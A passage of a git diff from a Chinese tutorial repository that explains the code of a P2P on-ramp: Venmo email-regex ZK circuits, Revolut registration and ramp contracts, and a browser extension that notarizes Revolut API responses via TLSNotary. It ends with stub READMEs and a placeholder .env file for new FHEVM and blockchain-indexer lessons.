+- from_regex_out: 匹配是否成功(1=成功)
+- from_regex_reveal: 匹配到的内容的掩码
+
+掩码(mask)在这里是一个二进制数组，用来标记哪些字符是我们想要提取的。让我用一个具体例子来解释：
+
+假设我们有一个邮件头：
+
+```
+From: venmo@venmo.com
+To: user@example.com
+```
+
+当 FromRegex 匹配 "From:" 之后的内容时，会生成这样的掩码：
+
+```
+原始文本:  F r o m : v e n m o @ v e n m o . c o m \n T o :
+掩码数组:  0 0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 0 0 0
+          |--不要--||---------要提取的部分---------||-不要-|
+```
+
+其中：
+
+- 1 表示这个位置的字符需要被提取
+- 0 表示这个位置的字符需要被忽略
+
+
+然后打包处理
+
+```js
+reveal_email_from_packed <== ShiftAndPackMaskedStr(max_header_bytes, max_email_from_len, pack_size)
+    (from_regex_reveal, email_from_idx);
+```
+
+这一步使用 email_from_idx 定位到正确位置
+
+- 提取 From 地址
+- 将地址打包成更紧凑的格式
+
+这里面有一个比较奇怪的地方是`ShiftAndPackMaskedStr`使用了两个括号，在 Circom 中，这种 ()() 的语法表示先创建模板实例，然后立即调用它。比较完整的写法大概可能是这样：
+
+```js
+// 1. 创建组件实例
+component packer = ShiftAndPackMaskedStr(max_header_bytes, max_email_from_len, pack_size);
+
+// 2. 连接输入信号
+packer.in <== from_regex_reveal;
+packer.shift <== email_from_idx;
+
+// 3. 连接输出信号
+reveal_email_from_packed <== packer.out;
+```
+
+完整流程：
+
+```mermaid
+graph TD
+    A[邮件头] --> B[FromRegex匹配]
+    B --> C{匹配成功?}
+    C -->|是| D[提取From地址]
+    D --> E[打包地址]
+    E --> F[输出打包结果]
+    C -->|否| G[验证失败]
+```
+
+实际处理示例：
+
+```
+1. 原始邮件头:
+From: venmo@venmo.com
+To: ...
+
+2. 正则匹配:
+找到: "venmo@venmo.com"
+
+3. 打包处理:
+"venmo@venmo.com" -> [packed_bytes1][packed_bytes2][packed_bytes3]
+```
+
+这样做的目的是：
+
+- 验证邮件确实来自 venmo@venmo.com
+- 以紧凑的方式存储这个信息
+- 为后续验证提供必要的数据
+
+继续向后看，**VENMO SEND AMOUNT REGEX**
+
+这段代码是在验证邮件格式，确保这是一个 Venmo 的付款邮件。只能是你向别人付钱，而不能反过来，举例来说
+
+```
+有效邮件格式：
+"You paid John Smith $50.00"  ✅ 
+- amount_regex_out = 1
+
+无效邮件格式：
+"John Smith paid you $50.00"  ❌
+- amount_regex_out = 0
+```
+
+实际代码
+
+```js
+// 1. 声明输出信号
+signal amount_regex_out;
+
+// 2. 正则匹配
+// _ 表示我们不关心匹配到的具体内容（掩码），只关心是否匹配成功
+(amount_regex_out, _) <== VenmoSendAmountRegex(max_header_bytes)(in_padded);
+
+// 3. 验证匹配成功
+amount_regex_out === 1;  // 必须匹配成功
+```
+
+继续向后看，**VENMO EMAIL ACTOR ID REGEX**
+
+这段代码是在提取和验证 Venmo 的 Actor ID（交易ID）。
+
+```js
+// 计算存储Actor ID需要多少个打包信号
+var max_actor_id_packed_bytes = count_packed(max_actor_id_len, pack_size);
+
+signal input venmo_actor_id_idx;          // Actor ID在邮件体中的位置
+signal reveal_actor_packed[max_actor_id_packed_bytes];  // 打包后的Actor ID
+```
+
+ 这里有一个事情是 reveal_actor_packed 既没有写input 也没有写 output，在 Circom 中，如果一个 signal 没有指定 input 或 output，它就是一个中间信号（intermediate signal）。
+
+signal的三种类型：
+
+```js
+// 1. 输入信号
+signal input x;           // 从外部输入的值
+
+// 2. 输出信号
+signal output y;         // 电路的输出值
+
+// 3. 中间信号
+signal z;               // 内部计算过程中的中间值
+```
+
+中间信号特点是内部使用：
+- 只在电路内部使用
+- 不能从外部输入
+- 不会作为电路输出
+
+接下来是正则匹配和验证。
+
+```js
+// 使用正则表达式匹配Actor ID
+signal (actor_id_regex_out, actor_id_regex_reveal[max_body_bytes]) <== VenmoActorIdRegex(max_body_bytes)(in_body_padded);    
+
+// 检查是否找到Actor ID
+signal is_found_actor_id <== IsZero()(actor_id_regex_out);
+is_found_actor_id === 0;  // 确保找到了Actor ID（IsZero输出为0表示找到）
+```
+
+流程说明
+
+```mermaid
+graph TD
+    A[邮件体] --> B[正则匹配Actor ID]
+    B --> C[检查是否找到]
+    C --> D{IsZero检查}
+    D -->|0| E[找到ID - 继续处理]
+    D -->|1| F[未找到 - 验证失败]
+```
+
+实际例子：
+
+```
+邮件内容:
+"Transaction ID: 3994422940193824"
+
+1. 正则匹配:
+- actor_id_regex_out = 1 (找到匹配)
+- actor_id_regex_reveal = 掩码标记ID位置
+
+2. IsZero检查:
+- is_found_actor_id = 0 (因为找到了ID)
+- 验证通过
+```
+
+继续向后看，**PACKING**
+
+这行代码是在处理之前匹配到的 Actor ID，将其打包成更紧凑的格式。
+
+```js
+reveal_actor_packed <== ShiftAndPackMaskedStr(
+    max_body_bytes,          // 输入数组的最大长度
+    max_actor_id_len,        // Actor ID的最大长度
+    pack_size                // 每组打包的字节数(7)
+)(
+    actor_id_regex_reveal,   // 包含Actor ID位置的掩码数组
+    venmo_actor_id_idx       // Actor ID的起始位置
+);
+```
+
+具体示例是
+
+```
+原始数据:
+"Transaction ID: 3994422940193824"
+
+1. 掩码标记:
+[0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0]
+           |--Actor ID部分--|
+
+2. 打包处理:
+"3994422940193824" -> [packed1][packed2][packed3]
+每个packed信号包含7个字节的数据
+```
+
+继续向后看，**HASH ACTOR ID**
+
+这段代码是在对打包后的 Actor ID 进行哈希处理，提供一定程度隐私保护。
+
+```js
+// 1. 创建Poseidon哈希组件
+component hash = Poseidon(max_actor_id_packed_bytes);  // 参数是输入数量
+
+// 2. 安全检查
+assert(max_actor_id_packed_bytes < 16);  // 确保输入数量在安全范围内
+
+// 3. 输入打包数据
+for (var i = 0; i < max_actor_id_packed_bytes; i++) {
+    hash.inputs[i] <== reveal_actor_packed[i];  // 将每个打包块输入到哈希函数
+}
+
+// 4. 输出哈希结果
+signal output packed_actor_id_hashed <== hash.out;  // 最终的哈希值
+```
+
+一个实际例子：
+
+```
+打包数据:
+reveal_actor_packed = [packed1, packed2, packed3]
+
+哈希处理:
+Poseidon(packed1, packed2, packed3) -> packed_actor_id_hashed
+
+最终输出:
+一个单一的哈希值，可以安全地在链上使用
+```
+
+全流程的流程图大概如下
+
+```mermaid
+graph TD
+    subgraph 输入验证
+        A[输入邮件数据] --> B[DKIM验证]
+        B --> C[验证邮件格式]
+        C --> D[验证是付款邮件]
+    end
+
+    subgraph From处理
+        D --> E[提取From地址]
+        E --> F[正则匹配venmo@venmo.com]
+        F --> G[打包From地址]
+    end
+
+    subgraph ActorID处理
+        D --> H[提取ActorID]
+        H --> I[正则匹配Transaction ID]
+        I --> J[验证ID存在]
+        J --> K[打包ActorID]
+        K --> L[Poseidon哈希]
+    end
+
+    subgraph 验证
+        B --> M[验证modulus_hash]
+        G --> O[验证packed_email]
+        L --> N[验证packed_actor_id_hashed]
+    end
+
+    style 输入验证 fill:#f9f,stroke:#333
+    style From处理 fill:#bbf,stroke:#333
+    style ActorID处理 fill:#bfb,stroke:#333
+    style 验证 fill:#fbb,stroke:#333
+```
+
+
+正则表达式部分组件生成 [ZK Regex](https://zk.email/blog/zkregex)
+
+#### Send Circuit
+
+基本主要是一些正则表达式的电路集成，和register部分基本一致。
+
+
+## Revolut
+
+整个 Revolut交互流程是
+
+1. 账户注册阶段 (AccountRegistrationProcessor & AccountRegistry)
+
+```
+用户 -> 注册 Revolut 账户 -> 生成 TLS 证明 -> 验证身份 -> 注册到系统
+```
+
+2. 意图声明 (RevolutRamp)
+
+```
+用户 -> 声明交易意图 -> 系统生成存款ID
+```
+
+3. 支付执行 (RevolutRamp & RevolutSendProcessor)
+
+```
+用户 -> 通过 Revolut 发送支付 -> 生成支付证明 -> 提交证明
+```
+
+用户通过 Revolut 发送指定金额
+- 生成支付完成的 TLS 证明
+- 提交证明到链上验证
+
+4. 完成交易 (RevolutRamp)
+
+```
+系统 -> 验证支付证明 -> 释放对应的代币
+```
+
+
+### 合约
+
+#### Account Registration Processor
+
+从这个`verifyProof`函数设计上面来看，所有的签名和验证工作都是由一个公正的第三方作为Verifier来去实现签名。
+
+所以整个流程是：
+
+1. 用户提供 Revolut 账户信息
+2. verifier 验证信息的真实性
+3. verifier 对信息进行签名
+4. 用户将签名后的信息提交给合约
+5. 合约验证签名是否来自授权的 verifier
+
+这里引入了第三方Verifier来作为实际数据真实性的签名方是因为
+
+1. Revolut 使用 API 调用而不是邮件验证
+2. MPC-TLS 需要可信第三方来执行 TLS 握手和验证
+3. 用户无法自己生成有效的 API 响应证明
+
+所以这里采用了一个折衷方案:
+- 由可信的 verifier 来验证 API 响应
+- verifier 对验证过的数据进行签名
+- 合约验证 verifier 的签名来确保数据真实性
+
+####  Account Registry
+
+这是一个用于管理 Revolut 账户注册和权限的合约。
+
+主要功能包括:
+
+账户注册
+
+- 用户可以通过 register() 函数注册账户
+- 注册时需要提供注册证明(proof)
+- 每个以太坊地址只能关联一个 Revolut 账户ID
+
+以及黑白名单管理功能。
+
+我们重点看看注册这方面的能力。
+
+```js
+function register(
+	IRevolutAccountRegistrationProcessor.RegistrationProof calldata _proof
+)
+	external
+{
+	require(msg.sender == _proof.public_values.userAddress, "Caller must be address specified in proof");
+	require(accounts[msg.sender] == bytes32(0), "Account already associated with accountId");
+	bytes32 accountId = _verifyRegistrationProof(_proof);
+
+	accounts[msg.sender] = accountId;
+
+	emit AccountRegistered(msg.sender, accountId);
+}
+```
+
+这个函数用于将用户的以太坊地址与其 Revolut 账户进行绑定。每个以太坊地址只能绑定一个 Revolut 账户。
+
+我们在register里面可以更详细的看到整个注册流程：
+
+- 用户准备注册信息(endpoint, host, profileId, userAddress)
+- 用户将这些信息发送给verifier(可信第三方)
+- verifier验证这些信息的真实性(通过TLS连接到Revolut API验证)
+- verifier对验证过的信息进行签名
+- verifier将签名(proof)返回给用户
+- 用户调用register函数,提交注册信息和verifier的签名
+
+后续的`_verifyRegistrationProof`可以验证一些公开信息，比如说Revolut 的endpoint，host等信息，最重要的是验证签名就是验证这个签名是否是verifier签的。验证完之后就把用户Revoult的profileId作为 accountId，和用户以太坊地址绑定，一个以太坊地址只能对应一个Revoult的profileId。
+
+#### Ramp
+
+首先看一下`struct Deposit`
+
+- depositor: 存款人的以太坊地址
+- revolutTag: Revolut 用户的标签，用于离链支付识别
+- verifierSigningKey: 验证者的公钥，用于签署 TLS 证明
+- notaryKeyHash: 公证人公钥的哈希值
+
+金额相关:
+- depositAmount: 存入的 USDC 总量
+- remainingDeposits: 剩余可用的存款量
+- outstandingIntentAmount: 当前未完成意图的总金额
+- conversionRate: USDC/USD 的转换率
+
+交易相关:
+- receiveCurrencyId: 接收方希望收到的货币类型（Revolut 货币代码的哈希值）
+- intentHashes: 所有未完成意图的哈希值数组
+
+Intent部分和Venmo之间没有什么不同，看一下OnRamp
+
+```js
+function onRamp(
+	IRevolutSendProcessor.SendData calldata _sendData,
+	bytes calldata _verifierSignature
+)
+	external
+{
+	(
+		Intent memory intent,
+		Deposit storage deposit,
+		bytes32 intentHash
+	) = _verifyOnRampProof(_sendData, _verifierSignature);
+
+	_pruneIntent(deposit, intentHash);
+
+	deposit.outstandingIntentAmount -= intent.amount;
+	globalAccount[accountRegistry.getAccountId(intent.onRamper)].lastOnrampTimestamp = block.timestamp;
+	_closeDepositIfNecessary(intent.deposit, deposit);
+
+	_transferFunds(intentHash, intent);
+}
+```
+
+输入数据是这样的结构
+
+```js
+subjectSendData = {
+  endpoint: "GET https://app.revolut.com/api/retail/transaction/asdfsd-asdfasd-oidafda",
+  host: "app.revolut.com",
+  transferId: "asdfsd-asdfasd-oidafda",
+  recipientId: "johndo8egm",
+  amount: "46.00",
+  currencyId: "EUR",
+  status: "outgoing_payment_sent",
+  timestamp: currentTimestamp.toString(),
+  intentHash: BigNumber.from(intentHash),
+  notaryKeyHash: BigNumber.from(ethers.utils.solidityKeccak256(["string"], ["notary_signing_key"]))
+}
+subjectNotarySignature = "0x";
+```
+
+可以看到之前说的Verify signature就是此处的subjectNotarySignature。
+
+OnRamp的核心就是`_verifyOnRampProof`，实际上就是做数字签名的一个验证工作。`deposit.verifierSigningKey`是公钥，`public_values`是签名消息，`proof`是签名信息，提供这些信息就可以实现数字签名的验证工作。从而确保OnRamp的提交信息没有作弊。
+
+```js
+function _verifyOnRampProof(
+	IRevolutSendProcessor.SendData calldata _data,
+	bytes calldata _verifierSignature
+)
+	internal
+	returns(Intent storage intent, Deposit storage deposit, bytes32 intentHash)
+{
+	intentHash = bytes32(_data.intentHash);
+	intent = intents[intentHash];
+	require(intent.onRamper == msg.sender, "Caller must be the on-ramper");
+
+	deposit = deposits[intent.deposit];
+
+	(
+		uint256 amount,
+		uint256 timestamp,
+		bytes32 offRamperId,
+		bytes32 currencyId,
+		bytes32 notaryKeyHash
+	) = sendProcessor.processProof(
+		IRevolutSendProcessor.SendProof({
+			public_values: _data,
+			proof: _verifierSignature
+		}),
+		deposit.verifierSigningKey
+	);
+}
+```
+
+## 插件
+
+### Background/index
+
+首先是一些网络请求的触发机制，
+
+```js
+urls: [
+'https://app.revolut.com/api/retail/user/current',
+'https://app.revolut.com/api/retail/transaction/*' 
+],
+```
+
+`onSendHeaders`，`onBeforeRequest`，`onResponseStarted`这三个阶段分别有对应的消息监听。
+
+他们的触发顺序是
+
+```js
+// 请求生命周期顺序：
+1. onBeforeRequest
+↓
+2. onBeforeSendHeaders (这个在代码中没有使用)
+↓
+3. onSendHeaders
+↓
+4. onHeadersReceived (这个在代码中没有使用)
+↓
+5. onResponseStarted
+↓
+6. onCompleted/onErrorOccurred (这个在代码中没有使用)
+```
+
+`onBeforeRequest`是在请求即将发送之前触发，可以访问和修改请求体(body)，可以取消或重定向请求。（收集请求体数据）
+
+`onSendHeaders`是在请求头即将发送时触发，可以查看最终的请求头，包含了所有修改后的头信息。（收集请求头信息）
+
+`onResponseStarted`是在收到响应头后触发，可以访问响应头信息，在响应体开始传输前。（收集响应信息并重放请求）
+
+这些具体的操作都在`Background/handlers`定义。
+
+随后对RPC做初始化
+
+```js
+const { initRPC } = await import('./rpc');
+await createOffscreenDocument();
+initRPC();
+```
+
+
+### Background/handlers
+
+**onSendHeaders**
+
+首先是互斥锁和基本检查，使用互斥锁确保并发安全
+
+```js
+return mutex.runExclusive(async () => {
+  const { method, tabId, requestId } = details;
+
+  const fetchUrl = new URL(details.url);
+  // 如果是重放请求则跳过
+  if (fetchUrl.searchParams.has('replay_request')) return;
+```
+
+虽然 JavaScript 是单线程的,但浏览器的网络请求是异步的,可能同时触发多个请求回调，这些回调都需要访问和修改共享的缓存数据(cache)
+
+如果不加锁,可能导致:
+- 数据竞争(Race Condition)
+- 缓存状态不一致
+- 请求处理顺序混乱
+
+然后过滤请求方法:
+
+```js
+if (method !== 'OPTIONS' && method !== 'HEAD') {
+```
+
+只处理非 OPTIONS 和非 HEAD 请求。
+
+然后是请求类型判断:
+
+这里根据URL判断请求类型:
+
+- /api/retail/user/current -> PAYMENT_PROFILE
+- /api/retail/transaction/* -> TRANSFER_DETAILS
+
+最后缓存请求信息。
+
+**onBeforeRequest**
+
+首先解释两个标识符，`tabId`和`requestId`
+
+`tabId`:
+
+```js
+// 每个浏览器标签页都有唯一的 tabId
+const tabId: number = 12345; // 示例
+```
+
+- 是Chrome分配给每个标签页(tab)的唯一标识符
+- 当打开新标签页时，Chrome会自动分配一个新的tabId
+- 用于追踪和管理不同标签页的状态和请求
+
+实际使用
+
+```js
+// 获取当前活动标签页
+chrome.tabs.query({active: true, currentWindow: true}, function(tabs) {
+    const currentTabId = tabs[0].id;  // 获取tabId
+});
+
+// 使用tabId发送消息给特定标签页
+chrome.tabs.sendMessage(tabId, {
+    message: "hello"
+});
+
+// 使用tabId管理缓存
+const cache = getCacheByTabId(tabId); // 每个标签页独立的缓存
+```
+
+`requestId`：
+
+```js
+// 每个网络请求都有唯一的 requestId
+const requestId: string = "12345.1"; // 示例
+```
+
+是Chrome为每个网络请求分配的唯一标识符
+- 用于追踪单个请求的完整生命周期
+- 在所有请求事件中保持一致
+
+实际使用
+
+```js
+// onBeforeRequest 中记录请求开始
+cache.set(requestId, {
+    status: 'started',
+    timestamp: Date.now()
+});
+
+// onSendHeaders 中记录请求头
+cache.set(requestId, {
+    ...existing,
+    headers: details.requestHeaders
+});
+
+// onResponseStarted 中记录响应
+cache.set(requestId, {
+    ...existing,
+    response: details.responseHeaders
+});
+```
+
+他们的关系
+
+```js
+RequestsLogs: {
+    [tabId]: {        // 每个标签页
+        [requestId]: {  // 该标签页的每个请求
+            method: 'GET',
+            url: '...',
+            headers: {...},
+            // 其他请求信息
+        }
+    }
+}
+```
+
+回到`onBeforeRequest`实际的应用例子可能是这个样子的：
+
+```js
+// POST 请求的 JSON 数据
+requestBody.raw = {
+  bytes: Buffer.from('{"username": "test"}')
+}
+// 转换后存储: requestBody = '{"username": "test"}'
+
+// 表单提交
+requestBody.formData = {
+  username: ['test'],
+  file: [File]
+}
+// 直接存储 formData 对象
+```
+
+**onResponseStarted**
+
+首先是请求类型判断，根据URL判断是支付配置还是转账详情请求。
+
+接着创建新的请求日志。
+
+随后重放请求获取响应体。
+
+```js
+const response = await replayRequest(newLog);
+const newLogWithResponseBody: RequestLog = {
+  ...newLog,
+  responseBody: response.text,  // 添加响应体内容
+};
+```
+
+如何理解“重放请求”？
+
+- 在 `onResponseStarted` 事件中，Chrome只提供响应头信息
+- 但插件需要获取完整的响应体(response body)
+- 所以需要重新发送一次相同的请求来获取完整响应
+
+具体来说就是使用原始请求的所有信息(方法、头部、请求体)，构建一个新的请求配置。
+
+同时标记重放请求：
+
+```js
+const replayUrl = new URL(req.url);
+replayUrl.searchParams.append('replay_request', '1');
+```
+
+- 添加 replay_request=1 参数
+- 用于在拦截器中识别重放请求，避免无限循环
+
+最后更新缓存并通知其他组件
+
+```js
+chrome.runtime.sendMessage({
+  type: BackgroundActiontype.push_action,
+  data: {
+    tabId: details.tabId,
+    request: newLogWithResponseBody,
+  },
+  action: addRequest(newLogWithResponseBody),
+});
+```
+
+实际应用案例：
+
+```js
+// 例如捕获到一个支付配置请求
+{
+  method: 'GET',
+  url: 'https://app.revolut.com/api/retail/user/current',
+  requestType: 'PAYMENT_PROFILE',
+  responseBody: '{"userId": "123", "balance": "100"}',
+  timestamp: 1234567890,
+  // ... 其他信息
+}
+
+// 或捕获一个转账详情请求
+{
+  method: 'GET',
+  url: 'https://app.revolut.com/api/retail/transaction/abc123',
+  requestType: 'TRANSFER_DETAILS',
+  responseBody: '{"amount": "50", "status": "completed"}',
+  timestamp: 1234567890,
+  // ... 其他信息
+}
+```
+
+
+### Background/rpc
+
+RPC (Remote Procedure Call) 在这个浏览器扩展中是用来处理不同组件之间通信的机制。
+
+可以认为RPC的作用就是将重要的监听事件集中起来，然后集中处理任务。
+
+```
+Content Script  ─┐
+Popup          ─┼─► runtime.sendMessage ─► Background Script (RPC监听器) ─► 处理函数
+Options Page   ─┘
+```
+
+主要的RPC操作包括:
+
+- 请求管理:
+```
+- get_requests: 获取请求日志
+- clear_requests: 清除请求缓存
+- push_action: 推送新的操作
+```
+
+- 证明(Prove)相关:
+```
+- prove_request_start: 开始证明请求
+- process_prove_request: 处理证明请求
+- finish_prove_request: 完成证明请求
+- verify_prove_request: 验证证明请求
+```
+
+### pages/Revolut/index
+
+提交Notary的核心逻辑在`handleNotarizePressed()`函数里面
+
+主要流程分为以下几个步骤：
+
+1. 请求有效性检查：
+
+```js
+const handleNotarizePressed = async() => {
+if (selectedIndex === null) {
+  return;
+};
+
+// Grab selected RequestLog
+const requestLog = filteredRequests[selectedIndex];
+
+// Check for session expiration
+const requestTimestamp = requestLog.timestamp;
+const now = Date.now();
+const timeDifference = now - requestTimestamp;
+if (timeDifference > REQUEST_LOG_EXPIRATION_MINUTES * 60 * 1000) {
+  dispatch(
+	deletedSingleRequestLog(requestLog.requestId) as any
+  );
+```
+
+- 检查是否选择了请求
+- 检查请求是否过期（3分钟内有效）
+- 如果过期则删除请求并显示过期模态框
+
+2. 准备公证参数
+
+```js
+// Build notarization parameters
+const responseBody = requestLog.responseBody;
+const responseHeaders = requestLog.responseHeaders;
+if (!responseBody || !responseHeaders) return;
+
+// Add "ALL" headers to secretHeaders, So all of them will be redacted
+const secretHeaders = requestLog.requestHeaders
+  .map((headers) => {
+	return `${headers.name.toLowerCase()}: ${headers.value || ''}` || '';
+  })
+  .filter((d) => !!d);
+```
+
+- 获取响应体和响应头
+- 收集所有请求头作为需要隐藏的敏感数据
+
+3. 处理敏感响应数据：
+
+```js
+actionSettings.bookmark_data.secretResponseSelector.forEach((secretResponseSelector) => {
+      const regex = new RegExp(secretResponseSelector, 'g');
+
+      // console.log(responseBody);
+      const matches = responseBody.match(regex);
+      // console.log('secretResponseSelector', secretResponseSelector);
+
+      if (matches) {
+        const hidden = matches[0];
+
+        const selectionStart = responseBody.indexOf(hidden);
+        const selectionEnd = selectionStart + hidden.length;
+
+        if (selectionStart !== -1) {
+          secretResps.push(responseBody.substring(selectionStart, selectionEnd));
+        }
+        // console.log('secretResps', secretResps);
+      }
+    });
+    // Filter out any empty strings
+```
+
+- 使用配置的 secretResponseSelector 正则表达式
+- 匹配并收集需要在响应中隐藏的敏感数据
+
+4. 处理请求头和 Cookies：
+
+```js
+// Skip the headers to make the request in MPC-TLS lighter
+const headers: { [k: string]: string } = requestLog.requestHeaders.reduce(
+  (acc: any, h) => {
+	if (!actionSettings.bookmark_data.skipRequestHeaders.includes(h.name)) {
+	  acc[h.name] = h.value;
+	}
+	return acc;
+  },
+  { Host: hostname },
+);
+
+// Include only the cookies that are specified in config
+let cookies = parseCookie(headers['Cookie']);
+const filteredCookies = actionSettings.bookmark_data.includeRequestCookies.map(cookie => {
+  return `${cookie}=${cookies[cookie]}`;
+}).join(`; `);
+
+headers['Cookie'] = filteredCookies;
+headers['Accept-Encoding'] = 'identity';
+headers['Connection'] = 'close';
+
+// Add filtered cookies to secretHeaders
+secretHeaders.push(`cookie: ${headers['Cookie'] || ''}`);
+```
+
+- 过滤掉不需要的请求头
+- 只包含配置中指定的 cookies
+- 添加必要的请求头设置
+
+5. 提取元数据：
+
+```js
+const metadataResp = [] as string[];
+
+// Add date of request if exists
+const requestDate = responseHeaders.find((h) => h.name === 'date' || h.name === 'Date');
+if (requestDate && requestDate.value) {
+  metadataResp.push(requestDate.value);
+}
+actionSettings.bookmark_data.metaDataSelector.forEach((metaDataSelector) => {
+  const regex = new RegExp(metaDataSelector, 'g');
+
+  // console.log(requestLog.responseBody);
+  const matches = responseBody.match(regex);
+  // console.log('metaDataSelector', metaDataSelector);
+
+  if (matches) {
+	const revealed = matches[0];
+
+	const selectionStart = responseBody.indexOf(revealed);
+	const selectionEnd = selectionStart + revealed.length;
+
+	if (selectionStart !== -1) {
+	  metadataResp.push(responseBody.substring(selectionStart, selectionEnd));
+	}
+	// console.log('metadataResp', metadataResp);
+  }
+});
+```
+
+- 收集请求日期
+- 使用配置的 metaDataSelector 提取关键信息
+
+6. 创建并发送公证请求：
+
+- 构建完整的公证请求参数
+- 通过 Redux dispatch 发送公证请求
+
+
+### reducers/requests
+
+Notarize 请求的处理在 reducers 中，`notarizeRequest()`
+
+- 获取 notary API URL
+- 获取 websocket proxy URL
+- 发送 prove_request_start 消息到后台
+
+notaryUrl和websocketProxyUrl的定义如下
+
+```js
+const notaryUrl = await get(NOTARY_API_LS_KEY);
+const websocketProxyUrl = await get(PROXY_API_LS_KEY);
+```
+
+之所以使用websocket是因为浏览器无法直接建立TCP连接，所以用浏览器先和proxy服务器建立websocket连接，随后proxy服务器再和server服务器建立TCP连接。
+
+主要流程是：
+
+- 用户点击 Notarize 按钮
+
+- 检查请求有效性
+
+- 处理请求数据（过滤敏感信息）
+
+- 提取必要元数据
+
+- 发送到后台进行公证
+
+- 后台与 notary 服务通信
+
+- 完成公证并存储结果
+
+### Background/rpc
+
+dispatch之后来到了`handleProveRequestStart()`这里，执行过程中会发生`BackgroundActiontype.process_prove_request`调用，具体执行在`Offscreen()`这个函数，这里的关键是 `prove` 函数调用，它接收所有敏感数据并发送到 notary 服务器
+
+```js
+import { prove, verify } from 'tlsn-js';
+  const proof = await prove(url, {
+	method,
+	headers,
+	body,
+	maxSentData,
+	maxRecvData,
+	notaryUrl,
+	websocketProxyUrl: websocketProxyUrl + `?token=${token}`,
+	secretHeaders,
+	secretResps,
+  });
+```
+
+这个 prove 函数应该是实际与外部 notary 服务器通信的地方，它通过 websocketProxyUrl 发送数据。从参数可以看出：
+
+- notaryUrl: 公证服务器地址
+- websocketProxyUrl: WebSocket 代理地址
+- secretHeaders: 需要隐藏的请求头（包括 cookies）
+- secretResps: 需要隐藏的响应数据
+
+服务器处理完数据后返回 proof，然后 Offscreen 组件通过 `BackgroundActiontype.finish_prove_request` 消息通知后台。
+
+后台接收到这个消息后，会在 `handleFinishProveRequest` 函数中处理（rpc中定义）
+
+## tlsn-js
+
+以这个example使用为例，做源代码分析。
+
+```ts
+// app.ts
+import { NotaryServer } from 'tlsn-js';
+const { init, Prover, NotarizedSession, TlsProof }: any = Comlink.wrap(
+  new Worker(new URL('./worker.ts', import.meta.url)),
+);
+
+// To create a proof
+await init({ loggingLevel: 'Debug '});
+const notary = NotaryServer.from(`http://localhost:7047`);
+const prover = await new Prover({ serverDns: 'swapi.dev' });
+
+// Connect to verifier
+await prover.setup(await notary.sessionUrl());
+
+// Submit request
+await prover.sendRequest('ws://localhost:55688', {
+  url: 'https://swapi.dev/api/people/1',
+  method: 'GET',
+  headers: {
+    'Content-Type': 'application/json',
+  },
+  body: {
+    hello: 'world',
+    one: 1,
+  },
+});
+
+// Get transcript and precalculated ranges
+const transcript = await prover.transcript();
+
+// Select ranges to commit 
+const commit: Commit = {
+  sent: [
+    transcript.ranges.sent.info!,
+    transcript.ranges.sent.headers!['content-type'],
+    transcript.ranges.sent.headers!['host'],
+    ...transcript.ranges.sent.lineBreaks,
+  ],
+  recv: [
+    transcript.ranges.recv.info!,
+    transcript.ranges.recv.headers!['server'],
+    transcript.ranges.recv.headers!['date'],
+    transcript.ranges.recv.json!['name'],
+    transcript.ranges.recv.json!['gender'],
+    ...transcript.ranges.recv.lineBreaks,
+  ],
+};
+
+// Notarize selected ranges
+const serializedSession = await prover.notarize(commit);
+
+// Instantiate NotarizedSession
+// note: this is necessary because workers can only post messages in serializable values
+const notarizedSession = await new NotarizedSession(serializedSession);
+
+
+// Create proof for commited ranges
+// note: this will reveal the selected ranges
+const serializedProof = await notarizedSession.proof(commit);
+
+// Instantiate Proof
+// note: necessary due to limitation with workers
+const proof = await new TlsProof(serializedProof);
+
+// Verify a proof
+const proofData = await proof.verify({
+  typ: 'P256',
+  key: await notary.publicKey(),
+});
+```
+
+```ts
+const { init, Prover, NotarizedSession, TlsProof }: any = Comlink.wrap(
+  new Worker(new URL('./worker.ts', import.meta.url)),
+);
+```
+
+首先建立web worker，将计算密集任务都交给web worker执行，防止阻塞主线程（主线程主要用于ui渲染），这些函数都是来自于Rust编译后转的wasm，是来自tlsn的主仓库，不在tlsn-js里定义。
+
+```js
+await prover.setup(await notary.sessionUrl());
+```
+
+向notary服务器请求websocket session id，然后由prover正式建立同notary服务器之间的websocket连接。
+
+当 Prover 调用 setup(verifierUrl) 时，WASM 模块会使用这个 URL 建立 WebSocket 连接，并开始 MPC-TLS 协议的初始化过程。
+
+```js
+await prover.sendRequest('ws://localhost:55688', {
+```
+
+是向代理服务器发送请求，让代理服务器建立TCP连接，因为websocket本身无法建立TCP连接，所以需要代理服务器。
+
+```
+Browser -> WebSocket -> Proxy(55688) -> TCP -> swapi.dev:443
+```
+
+数据发送给代理服务器之前已经经过加密处理，所以代理服务器应该只是做一个通信转换，没有办法真的知道通信具体内容。具体的发送代码逻辑还是在wasm里面
+
+```js
+async sendRequest(wsProxyUrl: string, request: {...}) {
+    // 当 Prover 发送请求时
+    const resp = await this.#prover.send_request(wsProxyUrl, {
+        uri: url,
+        method,
+        headers: headerMap,
+        body,
+    });
+}
+```
+
+这个过程中：
+- Prover 和 Notary 共同参与 TLS 握手
+- 所有的通信数据都会被 Notary 见证
+- Notary 获得部分 TLS 密钥信息
+
+实际架构应该是这样
+
+```
+Prover (Browser/WASM) <--WebSocket--> Notary
diff --git a/basic/83-FHEVM/README.md b/basic/83-FHEVM/README.md
new file mode 100644
index 000000000..86f05542c
--- /dev/null
+++ b/basic/83-FHEVM/README.md
@@ -0,0 +1,7 @@
+## ZAMA FHEVM
+
+
+
+
+## 参考链接
+- https://docs.zama.ai/fhevm/getting-started/overview-1/hardhat/1.-setting-up-hardhat
\ No newline at end of file
diff --git a/basic/83-blockchain-indexer/.env.example b/basic/83-blockchain-indexer/.env.example
new file mode 100644
index 000000000..c913d651a
--- /dev/null
+++ b/basic/83-blockchain-indexer/.env.example
@@ -0,0 +1,8 @@
+# Ethereum Node URL
+ETH_NODE_URL=https://mainnet.infura.io/v3/YOUR-PROJECT-ID
+
+# MongoDB Connection String
+MONGODB_URI=mongodb://localhost:27017/blockchain-indexer
+
+# Server Port
+PORT=3000
\ No newline at end of file
diff --git a/basic/83-blockchain-indexer/README.md b/basic/83-blockchain-indexer/README.md
new file mode 100644
index 000000000..2853322df
--- /dev/null
+++ b/basic/83-blockchain-indexer/README.md
@@ -0,0 +1,92 @@
+# 区块链索引器
+
+## 简介
+本项目实现了一个简单的区块链索引器，用于抓取、解析和存储区块链数据。通过这个项目，你可以学习到：
+
+1. 如何从区块链节点获取区块数据
+2. 如何解析区块和交易信息
+3. 如何设计和实现数据存储结构
+4. 如何构建查询API接口
